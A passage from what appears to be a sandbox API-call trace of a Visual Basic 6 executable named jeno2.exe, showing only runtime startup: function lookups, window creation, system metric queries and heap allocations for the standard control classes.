(hModule=0x76e40000, lpProcName="VarDecFromDate") returned 0x76e8db72 [0056.803] GetProcAddress (hModule=0x76e40000, lpProcName="VarDecFromI4") returned 0x76e72a8c [0056.803] GetProcAddress (hModule=0x76e40000, lpProcName="VarDecFromCy") returned 0x76e8d737 [0056.803] GetProcAddress (hModule=0x76e40000, lpProcName="VarR4FromDec") returned 0x76e8e015 [0056.803] GetProcAddress (hModule=0x76e40000, lpProcName="GetRecordInfoFromTypeInfo") returned 0x76e8cc3d [0056.803] GetProcAddress (hModule=0x76e40000, lpProcName="GetRecordInfoFromGuids") returned 0x76e8d1c4 [0056.803] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayGetRecordInfo") returned 0x76e8d48c [0056.804] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArraySetRecordInfo") returned 0x76e8d4c6 [0056.804] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayGetIID") returned 0x76e8d509 [0056.804] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArraySetIID") returned 0x76e5e7bb [0056.804] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayCopyData") returned 0x76e5e496 [0056.804] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayAllocDescriptorEx") returned 0x76e5ddf1 [0056.804] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayCreateEx") returned 0x76e8d53f [0056.804] GetProcAddress (hModule=0x76e40000, lpProcName="VarFormat") returned 0x76e92055 [0056.804] GetProcAddress (hModule=0x76e40000, lpProcName="VarFormatDateTime") returned 0x76e920ea [0056.804] GetProcAddress (hModule=0x76e40000, lpProcName="VarFormatNumber") returned 0x76e92151 [0056.805] GetProcAddress (hModule=0x76e40000, lpProcName="VarFormatPercent") returned 0x76e921f5 [0056.805] GetProcAddress (hModule=0x76e40000, lpProcName="VarFormatCurrency") returned 0x76e92288 [0056.805] GetProcAddress (hModule=0x76e40000, lpProcName="VarWeekdayName") returned 0x76e92335 [0056.805] GetProcAddress (hModule=0x76e40000, lpProcName="VarMonthName") returned 0x76e923d5 [0056.805] GetProcAddress (hModule=0x76e40000, lpProcName="VarAdd") returned 0x76e65934 [0056.805] GetProcAddress (hModule=0x76e40000, lpProcName="VarAnd") returned 0x76e65a98 [0056.805] GetProcAddress (hModule=0x76e40000, lpProcName="VarCat") returned 0x76e659b4 [0056.805] GetProcAddress (hModule=0x76e40000, lpProcName="VarDiv") returned 0x76ebe405 [0056.805] GetProcAddress (hModule=0x76e40000, lpProcName="VarEqv") returned 0x76ebef07 [0056.805] GetProcAddress (hModule=0x76e40000, lpProcName="VarIdiv") returned 0x76ebf00a [0056.806] GetProcAddress (hModule=0x76e40000, lpProcName="VarImp") returned 0x76ebef47 [0056.806] GetProcAddress (hModule=0x76e40000, lpProcName="VarMod") returned 0x76ebf15e [0056.806] GetProcAddress (hModule=0x76e40000, lpProcName="VarMul") returned 0x76ebdbd4 [0056.806] GetProcAddress (hModule=0x76e40000, lpProcName="VarOr") returned 0x76ebecfa [0056.806] GetProcAddress (hModule=0x76e40000, lpProcName="VarPow") returned 0x76ebea66 [0056.806] GetProcAddress (hModule=0x76e40000, lpProcName="VarSub") returned 0x76ebd332 [0056.806] GetProcAddress (hModule=0x76e40000, lpProcName="VarXor") returned 0x76ebee2e [0056.806] GetProcAddress (hModule=0x76e40000, lpProcName="VarAbs") returned 0x76ebca11 [0056.806] GetProcAddress (hModule=0x76e40000, lpProcName="VarFix") returned 0x76ebcc5f [0056.807] GetProcAddress (hModule=0x76e40000, lpProcName="VarInt") returned 0x76ebcde7 [0056.807] GetProcAddress (hModule=0x76e40000, lpProcName="VarNeg") returned 0x76ebc802 [0056.807] GetProcAddress (hModule=0x76e40000, lpProcName="VarNot") returned 0x76ebec66 [0056.807] GetProcAddress (hModule=0x76e40000, lpProcName="VarRound") returned 0x76ebd155 [0056.807] GetProcAddress (hModule=0x76e40000, lpProcName="VarCmp") returned 0x76e5b0dc [0056.807] GetProcAddress (hModule=0x76e40000, lpProcName="VarDecAdd") returned 0x76e75f3e [0056.807] GetProcAddress (hModule=0x76e40000, lpProcName="VarDecCmp") returned 0x76e64fd0 [0056.807] GetProcAddress (hModule=0x76e40000, lpProcName="VarBstrCat") returned 0x76e60d2c [0056.807] GetProcAddress (hModule=0x76e40000, lpProcName="VarCyMulI4") returned 0x76e759ed [0056.808] GetProcAddress (hModule=0x76e40000, lpProcName="VarBstrCmp") returned 0x76e4f8b8 [0056.808] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x76620000 [0056.808] GetProcAddress (hModule=0x76620000, lpProcName="CoCreateInstanceEx") returned 0x76669d4e [0056.808] GetProcAddress (hModule=0x76620000, lpProcName="CLSIDFromProgIDEx") returned 0x76630782 [0056.808] GetSystemMetrics (nIndex=42) returned 0 [0056.808] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x72a4e688 | out: ppMalloc=0x72a4e688*=0x767666bc) returned 0x0 [0056.810] IMalloc:Alloc (This=0x767666bc, cb=0x4) returned 0x1429358 [0056.810] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18f968, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0056.810] lstrcatA (in: lpString1="C:\\ProgramData\\jeno2.exe", lpString2=".cfg" | out: lpString1="C:\\ProgramData\\jeno2.exe.cfg") returned="C:\\ProgramData\\jeno2.exe.cfg" [0056.810] SetLastError (dwErrCode=0x0) [0056.810] SearchPathA (in: lpPath=0x0, lpFileName="C:\\ProgramData\\jeno2.exe.cfg", lpExtension=0x0, nBufferLength=0x103, lpBuffer=0x18f864, lpFilePart=0x18f838 | out: lpBuffer="|ú\x18", lpFilePart=0x18f838) returned 0x0 [0056.810] SetLastError (dwErrCode=0x2) [0056.810] GetLastError () returned 0x2 [0056.810] lstrcmpiA (lpString1="jeno2", lpString2="MTX") returned -1 [0056.811] lstrcmpiA (lpString1="jeno2", lpString2="DLLHOST") returned 1 [0056.811] lstrcmpiA (lpString1="jeno2", lpString2="INETINFO") returned 1 [0056.811] lstrcmpiA (lpString1="jeno2", lpString2="W3WP") returned -1 [0056.811] lstrcmpiA (lpString1="jeno2", lpString2="ASPNET_WP") returned 1 [0056.811] lstrcmpiA (lpString1="jeno2", lpString2="DLLHST3G") returned 1 [0056.811] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18f95c, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0056.811] lstrcmpiA (lpString1="jeno2", lpString2="IEXPLORE") returned 1 [0056.811] LoadLibraryA (lpLibFileName="SXS.DLL") returned 0x75620000 [0056.814] GetLastError () returned 0x0 [0056.814] GetProcAddress (hModule=0x75620000, lpProcName="SxsOleAut32MapIIDOrCLSIDToTypeLibrary") returned 0x75667685 [0056.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18feac, cbMultiByte=-1, lpWideCharStr=0x18fea8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0056.814] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x1c) returned 0x3822050 [0056.814] CoRegisterMessageFilter (in: lpMessageFilter=0x3822054, lplpMessageFilter=0x382205c | out: lplpMessageFilter=0x382205c*=0x0) returned 0x0 [0056.815] IUnknown:AddRef (This=0x3822054) returned 0x2 [0056.815] GetClassInfoExA (in: hInstance=0x72940000, lpszClass="ThunderRT6Main", lpwcx=0x18fe78 | out: lpwcx=0x18fe78) returned 0 [0056.815] LoadIconA (hInstance=0x400000, lpIconName=0x1) returned 0x3023f [0056.817] GetModuleHandleA (lpModuleName="USER32") returned 0x77130000 [0056.817] GetProcAddress (hModule=0x77130000, lpProcName="GetSystemMetrics") returned 0x77147d2f [0056.817] GetProcAddress (hModule=0x77130000, lpProcName="MonitorFromWindow") returned 0x77153150 [0056.817] GetProcAddress (hModule=0x77130000, lpProcName="MonitorFromRect") returned 0x7716e7a0 [0056.817] GetProcAddress (hModule=0x77130000, lpProcName="MonitorFromPoint") returned 0x77155281 [0056.817] GetProcAddress (hModule=0x77130000, lpProcName="EnumDisplayMonitors") returned 0x7715451a [0056.817] GetProcAddress (hModule=0x77130000, lpProcName="GetMonitorInfoA") returned 0x77154413 [0056.817] GetSystemMetrics (nIndex=0) returned 1440 [0056.818] GetSystemMetrics (nIndex=78) returned 1440 [0056.818] GetSystemMetrics (nIndex=1) returned 900 [0056.818] GetSystemMetrics (nIndex=79) returned 900 [0056.818] GetSystemMetrics (nIndex=50) returned 16 [0056.818] GetSystemMetrics (nIndex=49) returned 16 [0056.818] LoadImageA (hInst=0x400000, name=0x1, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0xc023b [0056.818] RegisterClassExA (param_1=0x18fe78) returned 0x98c165 [0056.818] CreateWindowExA (dwExStyle=0x80, lpClassName="ThunderRT6Main", lpWindowName=0x0, dwStyle=0x80090000, X=-2147483648, Y=-2147483648, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x72940000, lpParam=0x0) returned 0x170262 [0056.819] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x81, wParam=0x0, lParam=0x18fa5c) returned 0x1 [0056.821] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x83, wParam=0x0, lParam=0x18fa48) returned 0x0 [0056.821] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x1, wParam=0x0, lParam=0x18fa5c) returned 0x0 [0056.821] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0056.821] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0056.821] MonitorFromWindow (hwnd=0x170262, dwFlags=0x2) returned 0x10001 [0056.821] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x18fe80 | out: lpmi=0x18fe80) returned 1 [0056.822] SetWindowPos (hWnd=0x170262, hWndInsertAfter=0x0, X=720, Y=450, cx=0, cy=0, uFlags=0x1d) returned 1 [0056.822] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x46, wParam=0x0, lParam=0x18fe20) returned 0x0 [0056.824] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x47, wParam=0x0, lParam=0x18fe20) returned 0x0 [0056.824] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x3, wParam=0x0, lParam=0x1c202d0) returned 0x0 [0056.824] ShowWindow (hWnd=0x170262, nCmdShow=4) returned 0 [0056.824] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0056.825] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x46, wParam=0x0, lParam=0x18fe34) returned 0x0 [0056.825] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x47, wParam=0x0, lParam=0x18fe34) returned 0x0 [0056.825] GetWindowThreadProcessId (in: hWnd=0x170262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9ec [0056.825] VirtualQuery (in: lpAddress=0x18fea8, lpBuffer=0x18fe8c, dwLength=0x1c | out: lpBuffer=0x18fe8c*(BaseAddress=0x18f000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0056.825] GetUserDefaultLCID () returned 0x409 [0056.826] IsValidCodePage (CodePage=0x3a4) returned 1 [0056.826] IsValidCodePage (CodePage=0x3b5) returned 1 [0056.826] IsValidCodePage (CodePage=0x3b6) returned 1 [0056.826] IsValidCodePage (CodePage=0x3a8) returned 1 [0056.830] GetUserDefaultLangID () returned 0x409 [0056.830] GetSystemDefaultLangID () returned 0x1420409 [0056.830] GetSystemMetrics (nIndex=42) returned 0 [0056.830] IMalloc:Alloc (This=0x767666bc, cb=0xa8) returned 0x1429a68 [0056.830] IMalloc:GetSize (This=0x767666bc, pv=0x1429a68) returned 0xa8 [0056.830] IMalloc:Alloc (This=0x767666bc, cb=0xc) returned 0x142c988 [0056.830] GetCurrentThreadId () returned 0x9ec [0056.830] IMalloc:Alloc (This=0x767666bc, cb=0x3c) returned 0x1429368 [0056.830] IMalloc:Alloc (This=0x767666bc, cb=0x1c) returned 0x1425608 [0056.831] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\VBA\\Monitors", phkResult=0x18fe74 | out: phkResult=0x18fe74*=0x0) returned 0x2 [0056.831] IMalloc:Alloc (This=0x767666bc, cb=0x1c) returned 0x1425630 [0056.831] GetCurrentThreadId () returned 0x9ec [0056.831] SetWindowsHookExA (idHook=-1, lpfn=0x729a1e09, hmod=0x0, dwThreadId=0x9ec) returned 0x130173 [0056.831] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3822078 [0056.831] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x80) returned 0x3822098 [0056.831] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x10) returned 0x3822120 [0056.831] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x2c) returned 0x3822138 [0056.831] GetClassInfoA (in: hInstance=0x72940000, lpClassName="VBMsoStdCompMgr", lpWndClass=0x18fdcc | out: lpWndClass=0x18fdcc) returned 0 [0056.831] RegisterClassA (lpWndClass=0x18fdcc) returned 0xa2c164 [0056.831] CreateWindowExA (dwExStyle=0x0, lpClassName="VBMsoStdCompMgr", lpWindowName=0x0, dwStyle=0x80000000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x0, hMenu=0x0, hInstance=0x72940000, lpParam=0x0) returned 0x4015c [0056.832] NtdllDefWindowProc_A (hWnd=0x4015c, Msg=0x81, wParam=0x0, lParam=0x18fa08) returned 0x1 [0056.832] NtdllDefWindowProc_A (hWnd=0x4015c, Msg=0x83, wParam=0x0, lParam=0x18f9f4) returned 0x0 [0056.832] NtdllDefWindowProc_A (hWnd=0x4015c, Msg=0x1, wParam=0x0, lParam=0x18fa08) returned 0x0 [0056.832] NtdllDefWindowProc_A (hWnd=0x4015c, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0056.832] NtdllDefWindowProc_A (hWnd=0x4015c, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0056.832] SetWindowLongA (hWnd=0x4015c, nIndex=0, dwNewLong=58859676) returned 0 [0056.832] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x38) returned 0x3822170 [0056.832] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x38221b0 [0056.832] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x10) returned 0x38221d0 [0056.832] RegisterClipboardFormatA (lpszFormat="Object Descriptor") returned 0xc00e [0056.833] RegisterClipboardFormatA (lpszFormat="Link Source Descriptor") returned 0xc00f [0056.833] RegisterClipboardFormatA (lpszFormat="Embed Source") returned 0xc00b [0056.833] RegisterClipboardFormatA (lpszFormat="Embedded Object") returned 0xc00a [0056.833] RegisterClipboardFormatA (lpszFormat="Link Source") returned 0xc00d [0056.833] RegisterClipboardFormatA (lpszFormat="OwnerLink") returned 0xc003 [0056.833] RegisterClipboardFormatA (lpszFormat="FileName") returned 0xc006 [0056.833] CreateCompatibleDC (hdc=0x0) returned 0xd70109a6 [0056.833] GetCurrentObject (hdc=0xd70109a6, type=0x7) returned 0x185000f [0056.833] CreateWindowExA (dwExStyle=0x0, lpClassName="VBFocusRT6", lpWindowName=0x0, dwStyle=0x40000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x170262, hMenu=0x0, hInstance=0x72940000, lpParam=0x0) returned 0x3015e [0056.833] NtdllDefWindowProc_A (hWnd=0x3015e, Msg=0x81, wParam=0x0, lParam=0x18fa98) returned 0x1 [0056.833] NtdllDefWindowProc_A (hWnd=0x3015e, Msg=0x83, wParam=0x0, lParam=0x18fa84) returned 0x0 [0056.833] NtdllDefWindowProc_A (hWnd=0x3015e, Msg=0x1, wParam=0x0, lParam=0x18fa98) returned 0x0 [0056.833] NtdllDefWindowProc_A (hWnd=0x3015e, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0056.834] NtdllDefWindowProc_A (hWnd=0x3015e, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0056.834] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x210, wParam=0x1, lParam=0x3015e) returned 0x0 [0056.834] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x38221e8 [0056.834] RtlAllocateHeap (HeapHandle=0x35e0000, Flags=0x8, Size=0x114) returned 0x35e07d0 [0056.834] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x5c) returned 0x3822208 [0056.834] GetCurrentThreadId () returned 0x9ec [0056.834] GetCurrentThreadId () returned 0x9ec [0056.834] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x10) returned 0x3822270 [0056.834] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x30) returned 0x3822288 [0056.834] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x434) returned 0x38222c0 [0056.834] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x434) returned 0x3822700 [0056.834] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x3c) returned 0x3822b40 [0056.834] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3822b88 [0056.835] lstrlenA (lpString="VB") returned 2 [0056.835] lstrlenA (lpString="PictureBox") returned 10 [0056.835] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xe) returned 0x3822ca8 [0056.835] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x16c) returned 0x3822cc0 [0056.835] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x68) returned 0x3822e38 [0056.835] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x2c8) returned 0x3822ea8 [0056.836] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x28) returned 0x3823178 [0056.836] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x38231a8 [0056.836] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x28) returned 0x38231c8 [0056.836] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x38231f8 [0056.836] lstrlenA (lpString="VB") returned 2 [0056.836] lstrlenA (lpString="Label") returned 5 [0056.836] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x9) returned 0x3823318 [0056.836] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x34) returned 0x3823330 [0056.836] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xf0) returned 0x3823370 [0056.836] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x48) returned 0x3823468 [0056.836] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x1f4) returned 0x38234b8 [0056.836] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x38236b8 [0056.836] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x38236d8 [0056.836] lstrlenA (lpString="VB") returned 2 [0056.837] lstrlenA (lpString="TextBox") returned 7 [0056.837] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xb) returned 0x38237f8 [0056.837] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x38) returned 0x3823810 [0056.837] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x120) returned 0x3823850 [0056.837] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x60) returned 0x3823978 [0056.837] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x250) returned 0x38239e0 [0056.837] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3823c38 [0056.837] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3823c58 [0056.837] lstrlenA (lpString="VB") returned 2 [0056.837] lstrlenA (lpString="Frame") returned 5 [0056.837] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x9) returned 0x3823d78 [0056.837] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x24) returned 0x3823d90 [0056.837] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xb0) returned 0x3823dc0 [0056.837] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x34) returned 0x3823e78 [0056.837] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x184) returned 0x3823eb8 [0056.838] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3824048 [0056.838] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3824068 [0056.838] lstrlenA (lpString="VB") returned 2 [0056.838] lstrlenA (lpString="CommandButton") returned 13 [0056.838] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x11) returned 0x3824188 [0056.838] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x28) returned 0x38241a8 [0056.838] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xd4) returned 0x38241d8 [0056.838] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x44) returned 0x38242b8 [0056.838] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x1c8) returned 0x3824308 [0056.838] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x38244d8 [0056.838] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x38244f8 [0056.838] lstrlenA (lpString="VB") returned 2 [0056.838] lstrlenA (lpString="ListBox") returned 7 [0056.838] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xb) returned 0x3824618 [0056.838] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x108) returned 0x3824630 [0056.839] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x54) returned 0x3824740 [0056.839] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x230) returned 0x38247a0 [0056.839] RtlReAllocateHeap (Heap=0x3820000, Flags=0x0, Ptr=0x3823178, Size=0x50) returned 0x38249d8 [0056.839] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3823178 [0056.839] RtlReAllocateHeap (Heap=0x3820000, Flags=0x0, Ptr=0x38231c8, Size=0x50) returned 0x3824a30 [0056.839] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3824a88 [0056.839] lstrlenA (lpString="VB") returned 2 [0056.839] lstrlenA (lpString="Timer") returned 5 [0056.839] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x9) returned 0x38231c8 [0056.839] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xc) returned 0x38231e0 [0056.839] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x30) returned 0x3824ba8 [0056.839] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x4) returned 0x3823198 [0056.839] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x9c) returned 0x3824be0 [0056.840] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3824c88 [0056.840] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3824ca8 [0056.840] lstrlenA (lpString="VB") returned 2 [0056.840] lstrlenA (lpString="Printer") returned 7 [0056.840] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xb) returned 0x3824dc8 [0056.840] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xdc) returned 0x3824de0 [0056.840] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3824ec8 [0056.840] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3824ee8 [0056.840] lstrlenA (lpString="VB") returned 2 [0056.840] lstrlenA (lpString="Form") returned 4 [0056.840] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x8) returned 0x3825008 [0056.840] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x184) returned 0x3825018 [0056.841] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x7c) returned 0x38251a8 [0056.841] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x2f8) returned 0x3825230 [0056.841] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3825530 [0056.841] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3825550 [0056.841] lstrlenA (lpString="VB") returned 2 [0056.841] lstrlenA (lpString="Screen") returned 6 [0056.841] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xa) returned 0x3825670 [0056.841] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x2c) returned 0x3825688 [0056.841] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xa0) returned 0x38256c0 [0056.841] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3825768 [0056.841] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3825788 [0056.841] lstrlenA (lpString="VB") returned 2 [0056.841] lstrlenA (lpString="Clipboard") returned 9 [0056.841] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xd) returned 0x38258a8 [0056.841] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x1c) returned 0x38258c0 [0056.841] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x68) returned 0x38258e8 [0056.842] RtlReAllocateHeap (Heap=0x3820000, Flags=0x0, Ptr=0x38249d8, Size=0x78) returned 0x3825958 [0056.842] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x38249d8 [0056.842] RtlReAllocateHeap (Heap=0x3820000, Flags=0x0, Ptr=0x3824a30, Size=0x78) returned 0x38259d8 [0056.842] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3825a58 [0056.842] lstrlenA (lpString="VB") returned 2 [0056.842] lstrlenA (lpString="FileListBox") returned 11 [0056.842] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xf) returned 0x38249f8 [0056.842] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x28) returned 0x3824a10 [0056.842] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xec) returned 0x3825b78 [0056.842] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x58) returned 0x3825c70 [0056.842] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x1f8) returned 0x3825cd0 [0056.842] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3824a40 [0056.842] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3825ed0 [0056.843] lstrlenA (lpString="VB") returned 2 [0056.843] lstrlenA (lpString="MDIForm") returned 7 [0056.843] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xb) returned 0x3824a60 [0056.843] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x184) returned 0x3825ff0 [0056.843] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x7c) returned 0x3826180 [0056.843] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x2f8) returned 0x3826208 [0056.843] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3826508 [0056.843] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3830d90 [0056.844] lstrlenA (lpString="VB") returned 2 [0056.844] lstrlenA (lpString="App") returned 3 [0056.844] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x7) returned 0x3824a78 [0056.844] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x84) returned 0x3830eb0 [0056.844] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x148) returned 0x3830f40 [0056.844] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831090 [0056.844] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x38310b0 [0056.844] lstrlenA (lpString="VB") returned 2 [0056.844] lstrlenA (lpString="UserControl") returned 11 [0056.844] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xf) returned 0x38311d0 [0056.845] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x1e4) returned 0x38311e8 [0056.845] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xb0) returned 0x38313d8 [0056.845] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x3a4) returned 0x3831490 [0056.845] RtlAllocateHeap (HeapHandle=0x3820000, 